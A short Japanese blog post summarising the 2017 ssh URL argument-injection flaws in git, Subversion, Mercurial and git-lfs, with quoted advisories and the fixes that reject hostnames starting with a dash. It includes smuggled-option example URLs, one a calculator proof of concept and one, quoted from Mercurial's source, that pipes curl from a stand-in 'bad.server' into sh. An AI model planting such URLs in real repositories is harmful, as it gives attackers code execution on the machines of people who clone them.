てきとうなメモ

本の感想とか技術メモとか

gitなどのSCMのssh URL処理の脆弱性

Compromise On Checkout - Vulnerabilities in SCM Tools · The Recurity Lablog

ssh://-oProxyCommand=gnome-calculator/wat

というようなssh URLを処理しようとして、

ssh <ホスト名> ...

のような形式で渡すと

ssh -oProxyCommand=gnome-calculator ...

となって、gnome-calculatorが実行されてしまうという話。

このssh URLを直接gitコマンドの引数として渡すのであればすぐ気付くだろうが、このURLはgit-lfsの.lfsconfigやgit submoduleの.gitmodulesに記述
することができるので、URLを用いてだけではなく、1コミットがこのような内容を含んでいれば攻撃できてしまう。

とはいえ、lfsやsubmoduleを設定するコミットは大きな変更なので、通常はしっかりチェックされるだろうけど。

もともと、2004年ぐらいにMacSafariのURLハンドラの脆弱性として似たようなものはあったそうな。

Argument injection vulnerability in the SSH URI handler for Safari on Mac OS 10.3.3 and earlier allows remote attackers to (1) execute arbitrary code via the ProxyCommand option or (2) conduct port forwarding via the -R option.

で、調べてみると、gitだけではなくsvnmercurialにも同様の脆弱性があったそうな。

it could be confirmed that SVN was affected in the worst way: SVN follows HTTP 301 redirects to svn+ssh:// URLs. As a result, an innocent looking HTTP URL can be used to trigger a Command Execution with a 301 redirect.

svnの場合はhttp→sshへのリダイレクトも通してしまうようなので、これは怖いな。

修正はgitやsvnmercurialは"-"で始まるホスト名を弾くというもの。

gitは2.1.14.1で修正。

* A "ssh://..." URL can result in a "ssh" command line with a
hostname that begins with a dash "-", which would cause the "ssh"
command to instead (mis)treat it as an option. This is now
prevented by forbidding such a hostname (which should not impact
any real-world usage).

* Similarly, when GIT_PROXY_COMMAND is configured, the command is
run with host and port that are parsed out from "ssh://..." URL;
a poorly written GIT_PROXY_COMMAND could be tricked into treating
a string that begins with a dash "-" as an option. This is now
prevented by forbidding such a hostname and port number (again,
which should not impact any real-world usage).

* In the same spirit, a repository name that begins with a dash "-"
is also forbidden now.

このコミットとかかな。looks_like_command_line_optionで"-"始まりのホスト名をチェックし弾くようにしている。

"-"始まりのホスト名を弾いても問題ないのだっけと思ったが、RFC 952において、ホスト名は"-"で始まってはならないとしている。

<hname> ::= <name>*["."<name>]
<name>  ::= <let>[*[<let-or-digit-or-hyphen>]<let-or-digit>]

hnameがホスト名。最初はlet(letter)でないといけない。

svn1.9.7で修正。

This is a stable security release of the Apache Subversion open source
version control system. It fixes one security issue:

CVE-2017-9800:
Arbitrary code execution on clients through malicious svn+ssh URLs in
svn:externals and svn:sync-from-url
http://subversion.apache.org/security/CVE-2017-9800-advisory.txt

ここにパッチが記述されている。is_valid_hostinfoで"-"始まりのホスト名を弾いている。

mercurial4.3.1で修正されている。

1. Mercurial 4.3 / 4.3.1 (2017-08-10)
....
1.3. CVE-2017-1000116

Mercurial was not sanitizing hostnames passed to ssh, allowing shell injection attacks on clients by specifying a hostname starting with -oProxyCommand. This is also present in Git (CVE-2017-1000117) and Subversion (CVE-2017-9800), so please patch those tools as well if you have them installed.

このファイルのchecksafesshでチェックされている。

def checksafessh(path):
    """check if a path / url is a potentially unsafe ssh exploit (SEC)

    This is a sanity check for ssh urls. ssh will parse the first item as
    an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
    Let's prevent these potentially exploited urls entirely and warn the
    user.

    Raises an error.Abort when the url is unsafe.
    """
    path = urlreq.unquote(path)
    if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
        raise error.Abort(_('potentially unsafe url: %r') %
                          (path,))

git-lfs2.1.1で修正されている。

Git LFS v2.1.1 ships with bug fixes and a security patch fixing a remote code
execution vulnerability exploitable by setting a SSH remote via your
repository's .lfsconfig to contain the string "-oProxyCommand". This
vulnerability is only exploitable if an attacker has write access to your
repository, or you clone a repository with a .lfsconfig file containing that
string.

このプルリクかな。

他のソフトの修正とは異なり、"-"を弾かずに"--"を追加して、オプションの引数は終了したとsshクライアントに明示するようにしている。